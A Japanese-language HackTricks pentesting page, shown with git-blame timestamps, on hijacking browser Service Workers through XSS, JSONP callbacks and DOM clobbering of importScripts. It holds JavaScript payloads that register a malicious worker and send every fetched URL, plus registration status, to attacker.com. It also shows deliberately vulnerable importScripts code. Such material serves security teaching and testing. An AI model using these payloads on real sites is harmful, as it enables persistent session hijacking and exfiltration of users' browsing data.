2023-07-07 23:42:27 +00:00
# Service Workersの悪用
2022-12-20 11:25:07 +00:00
< details >
2023-04-25 20:35:28 +02:00
< summary >< a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" >< strong > ☁️ HackTricks Cloud ☁️</ strong ></ a > -< a href = "https://twitter.com/hacktricks_live" >< strong > 🐦 Twitter 🐦</ strong ></ a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" >< strong > 🎙️ Twitch 🎙️</ strong ></ a > - < a href = "https://www.youtube.com/ @hacktricks_LIVE " >< strong > 🎥 Youtube 🎥</ strong ></ a ></ summary >
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を見つけてください。独占的な[**NFT** ](https://opensea.io/collection/the-peass-family )のコレクションです。
* [**公式のPEASS& HackTricksのグッズ** ](https://peass.creator-spring.com )を手に入れましょう。
* [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**telegramグループ** ](https://t.me/peass )に**参加**するか、**Twitter**で**フォロー**してください[**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/hacktricks_live )**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo** ](https://github.com/carlospolop/hacktricks ) **と** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **に提出してください。**
2022-12-20 11:25:07 +00:00
< / details >
2023-07-07 23:42:27 +00:00
## 基本情報
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
サービスワーカーは、ウェブページとは別に、ブラウザがバックグラウンドで実行する**スクリプト**であり、ウェブページやユーザーの操作を必要としない機能を提供することができます。([サービスワーカーとは何かの詳細はこちら ](https://developers.google.com/web/fundamentals/primers/service-workers ))。\
そのため、サービスワーカーを悪用することで、**被害者セッション**内の**脆弱な**ウェブ**ドメイン**でそれらを**作成/変更**することができ、**攻撃者はそのドメインで被害者が読み込むすべてのページ**を**制御**することができます。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
### 既存のサービスワーカーの確認
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
**開発者ツール**の**アプリケーション**タブの**Service Workers**フィールドで確認することができます。また、[chrome://serviceworker-internals ](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals )を参照することもできます。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
### プッシュ通知
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
被害者が**プッシュ通知の許可**を与えていない場合、サービスワーカーは**ユーザーが再び攻撃者のページにアクセスしない限り、サーバーからの通信を受信することができません**。これにより、たとえば、攻撃者のウェブページにアクセスしたすべてのページとの会話を維持することができず、SWが見つかった場合、それを受信して実行することができません。\
ただし、被害者が**プッシュ通知の許可を与えると、これはリスクとなる**可能性があります。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
## サービスワーカーの作成による攻撃
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
この脆弱性を悪用するには、次のものを見つける必要があります。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
* **任意のJSファイルをサーバーにアップロード**し、**アップロードされたJSファイルのサービスワーカー**を**XSSで読み込む**方法
* **脆弱なJSONPリクエスト**で**出力を操作できる( 任意のJSコードで) **方法と、**ペイロードでJSONPを読み込む**ための**XSS**。これにより、**悪意のあるサービスワーカー**を読み込むことができます。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
以下の例では、`fetch` イベントをリッスンし、**取得したすべてのURLを攻撃者のサーバーに送信する新しいサービスワーカーを登録**するコードを示します(これは**サーバーにアップロード**するか、**脆弱なJSONP**応答を介してロードするためのコードです)。
2022-12-20 11:25:07 +00:00
```javascript
self.addEventListener('fetch', function(e) {
2023-07-07 23:42:27 +00:00
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
2022-12-20 11:25:07 +00:00
});
```
2023-07-07 23:42:27 +00:00
そして、これが**ワーカーを登録する**コードです(**XSS**を悪用して実行できるはずのコード)。この場合、**攻撃者**のサーバーに**GET**リクエストが送信され、サービスワーカーの**登録**が成功したかどうかが**通知**されます。
2022-12-20 11:25:07 +00:00
```javascript
< script >
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
2023-07-07 23:42:27 +00:00
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
2022-12-20 11:25:07 +00:00
});
< / script >
```
2023-07-07 23:42:27 +00:00
脆弱なJSONPエンドポイントを悪用する場合、値を`var sw` の内部に配置する必要があります。例えば:
2022-12-20 11:25:07 +00:00
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
2023-07-07 23:42:27 +00:00
**Service Workers**の悪用に特化した**C2**である[**Shadow Workers** ](https://shadow-workers.github.io )は、これらの脆弱性を悪用するのに非常に役立ちます。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
XSSの状況では、24時間のキャッシュディレクティブ制限により、悪意のあるまたは侵害されたSWは、XSSの脆弱性の修正よりも最大24時間( クライアントがオンラインである場合) 長く存在することが保証されます。サイトの運営者は、SWスクリプトのTTLを低く設定することで脆弱性の時間枠を短縮することができます。また、開発者には、[キルスイッチSWを作成すること ](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776 )をお勧めします。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
## DOM Clobberingを介したSWでの`importScripts`の悪用
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
Service Workerから呼び出される関数**`importScripts` **は、**異なるドメインからスクリプトをインポート**することができます。この関数が**攻撃者が変更できるパラメータ**を使用して呼び出された場合、彼は自身のドメインからJSスクリプトをインポートし、XSSを取得することができます。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
**これはCSPの保護を回避することさえ可能です。**
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
**脆弱なコードの例:**
2022-12-20 11:25:07 +00:00
* **index.html**
```html
< script >
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
2023-07-07 23:42:27 +00:00
// attacker controls location.search
2022-12-20 11:25:07 +00:00
< / script >
```
* **sw.js**
```javascript
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```
2023-07-07 23:42:27 +00:00
### DOM Clobberingを使用する
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
DOM Clobberingについての詳細は以下を参照してください:
2022-12-20 11:25:07 +00:00
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md ](dom-clobbering.md )
{% endcontent-ref %}
2023-07-07 23:42:27 +00:00
もしSWが**HTML要素内で使用しているURL/ドメイン**で**`importScripts` **を呼び出している場合、DOM Clobberingを使用してそれを変更することができます。これにより、SWが**自分自身のドメインからスクリプトを読み込む**ようにすることができます。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
これに関する例は参照リンクを確認してください。
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
## 参考文献
2022-12-20 11:25:07 +00:00
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering ](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering )
< details >
2023-04-25 20:35:28 +02:00
< summary >< a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" >< strong > ☁️ HackTricks Cloud ☁️</ strong ></ a > -< a href = "https://twitter.com/hacktricks_live" >< strong > 🐦 Twitter 🐦</ strong ></ a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" >< strong > 🎙️ Twitch 🎙️</ strong ></ a > - < a href = "https://www.youtube.com/ @hacktricks_LIVE " >< strong > 🎥 Youtube 🎥</ strong ></ a ></ summary >
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )をチェックしてください!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見しましょう。独占的な[**NFT** ](https://opensea.io/collection/the-peass-family )のコレクションです。
* [**公式のPEASS& HackTricksグッズ** ](https://peass.creator-spring.com )を手に入れましょう。
* [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**telegramグループ** ](https://t.me/peass )に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/hacktricks_live )**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo** ](https://github.com/carlospolop/hacktricks ) **と** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **に提出してください。**
2022-12-20 11:25:07 +00:00
< / details >